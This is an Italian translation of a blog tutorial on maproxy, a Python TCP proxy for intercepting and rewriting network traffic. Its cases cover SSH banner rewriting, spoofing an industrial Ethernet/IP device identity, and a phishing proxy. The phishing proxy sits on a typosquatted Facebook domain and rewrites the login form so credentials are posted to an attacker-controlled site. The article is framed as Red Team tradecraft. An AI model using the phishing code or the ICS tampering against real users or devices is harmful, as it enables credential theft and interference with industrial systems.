La traduzione dell'articolo è stata preparata in vista dell'inizio del corso .

Annotazione
Diverse tipologie di valutazione della sicurezza, che vanno dal testing regolare delle vulnerabilità e delle operazioni Red Team fino all'hacking di dispositivi IoT/ICS e SCADA, implicano il lavoro con protocolli di rete binari, ossia, in sostanza, l'intercettazione e la modifica dei dati di rete tra il client e l'obiettivo. Il sniffing del traffico di rete non è un compito difficile, poiché abbiamo strumenti come Wireshark, Tcpdump o Scapy, tuttavia la modifica sembra essere un compito più laborioso, poiché avremo bisogno di un'interfaccia particolare per leggere i dati di rete, filtrarli, modificarli al volo e reinviarli all'host di destinazione quasi in tempo reale. Inoltre, sarebbe ideale se tale strumento potesse lavorare automaticamente con più connessioni parallele e avesse delle opzioni di personalizzazione tramite script.
Una volta ho scoperto uno strumento chiamato , la documentazione mi ha subito fatto capire che maproxy è esattamente ciò di cui avevo bisogno. Si tratta di un proxy TCP piuttosto semplice, versatile e facilmente configurabile. Ho testato questo strumento su diverse applicazioni abbastanza complesse, inclusi dispositivi ICS (che generano un gran numero di pacchetti), per vedere se sarebbe stato in grado di gestire molte connessioni parallele, e lo strumento ha dato buoni risultati.
Questo articolo ti introdurrà all'elaborazione dei dati di rete in tempo reale utilizzando maproxy.
Panoramica
Strumento maproxy basato su Tornado, un popolare e sviluppato framework di rete asincrono in Python.
In generale, può funzionare in diverse modalità:
TCP:TCPconnessioni TCP non criptate;TCP:SSLeSSL:TCPcon crittografia unidirezionale;SSL:SSLcon crittografia bidirezionale.
Viene fornito come libreria. Per un avvio rapido, puoi utilizzare esempi di file che riflettono le principali :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Caso 1 – proxy bidirezionale semplice
Basato su tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Per impostazione predefinita ProxyServer() accetta due argomenti – l'indirizzo di connessione e la porta di destinazione. server.listen() richiede un argomento – la porta per ascoltare le connessioni in entrata.
Esecuzione dello script:
# python tcp2tcp.py Per condurre un test, ci connetteremo a un server SSH locale tramite il nostro script proxy, che ascolta su 2222/tcp la porta e si connette alla porta standard 22/tcp Server SSH:

Il banner di benvenuto informa che il nostro esempio di script ha effettuato correttamente il proxy del traffico di rete.
Caso 2 – modifica dei dati
Un altro demo-script logging_proxy.py è perfetto per interagire con i dati di rete. I commenti nel file descrivono i metodi della classe che puoi modificare per raggiungere il tuo obiettivo:

La cosa più interessante qui:
on_c2p_done_read– per intercettare i dati in transito dal client al server;on_p2s_done_read– al contrario.
Proviamo a modificare il banner SSH che il server restituisce al client:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Esegui lo script:

Come puoi vedere, il client è stato ingannato, poiché il nome del server SSH è stato sostituito con «DumnySSH».

Caso 3 – semplice pagina web di phishing
Ci sono infinite possibilità di utilizzo di questo strumento. Questa volta concentriamoci su qualcosa di più pratico nel campo delle operazioni della Red Team. Diamo un'occhiata a una landing page che imita m.facebook.com e utilizziamo un dominio personalizzato con un errore di battitura intenzionale, ad esempio, m.facebok.com. Ai fini della dimostrazione, supponiamo semplicemente che il dominio sia stato registrato da noi.
Stiamo per stabilire una connessione di rete non crittografata con il nostro proxy delle vittime e SSL Stream per il server Facebook (31.13.81.36). Per far funzionare questo esempio, dobbiamo sostituire l'intestazione HTTP Host e inserire il corretto nome host, e disabiliteremo anche la compressione delle risposte per avere un facile accesso al loro contenuto. Alla fine, sostituiremo il modulo HTML in modo che le credenziali di accesso vengano inviate a noi, invece che ai server Facebook:
[…]
def on_c2p_done_read(self,data):
# sostituisci intestazione Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disabilita compressione
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# sostituzione parziale della risposta
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Alla fine:

Come puoi vedere, siamo riusciti a sostituire con successo il sito originale.
Caso 4 – Portiamo Ethernet/IP
Ho a che fare con dispositivi industriali e software (ICS / SCADA) da abbastanza tempo, come controllori programmabili (PLC), moduli di input/output, attuatori, relè, ambienti di programmazione a scaletta e molto altro. Questo caso è per chi ama le cose industriali. Hacking di tali soluzioni implica un gioco attivo con i protocolli di rete. Nel seguente esempio, vorrei mostrare come è possibile modificare il traffico di rete ICS/SCADA.
Per fare ciò avrai bisogno di quanto segue:
- Un sniffatore di rete, come Wireshark;
- Un dispositivo Ethernet/IP o semplicemente SIP, puoi trovarlo utilizzando il servizio Shodan;
- Il nostro script è basato su
maproxy.
Per iniziare, vediamo come appare una tipica risposta di identificazione da CIP (Common Industrial Protocol):

L'identificazione del dispositivo viene effettuata utilizzando il protocollo Ethernet/IP, che è una versione estesa del protocollo Ethernet per scopi industriali, avvolge protocolli di controllo come il CIP. Stiamo per modificare il nome di identificazione dedicato, visibile nello screenshot «NI-IndComm for Ethernet» utilizzando il nostro script proxy. Potremmo riutilizzare lo script logging_proxy.py e modificare in modo analogo il metodo della classe on_p2s_done_read, poiché vogliamo che sul client venga visualizzato un nome di identificazione diverso.
Codice:
[…]
def on_p2s_done_read(self,data):
# sostituzione parziale della risposta
# Controllando se abbiamo ricevuto la risposta al messaggio List Identity
if data[26:28] == b'x0cx00':
print('Risposta ricevuta, sostituzione')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Di fatto, abbiamo richiesto l'identificazione del dispositivo due volte, la seconda risposta è originale, mentre la prima è stata modificata al volo.
E infine
A mio avviso, maproxy è uno strumento conveniente e semplice, scritto anche in Python, quindi credo che anche tu possa trarre vantaggio dal suo utilizzo. Certo, esistono strumenti più complessi per l'elaborazione e la modifica dei dati di rete, ma richiedono anche maggiore attenzione e sono di solito sviluppati per scenari d'uso specifici, come ad esempio, , o per casi simili al terzo, oppure per l'ultimo caso. In un modo o nell'altro, con maproxy sarai in grado di realizzare rapidamente le tue idee di intercettazione dei dati di rete, poiché gli esempi di script sono molto chiari.
Fonte: habr.com
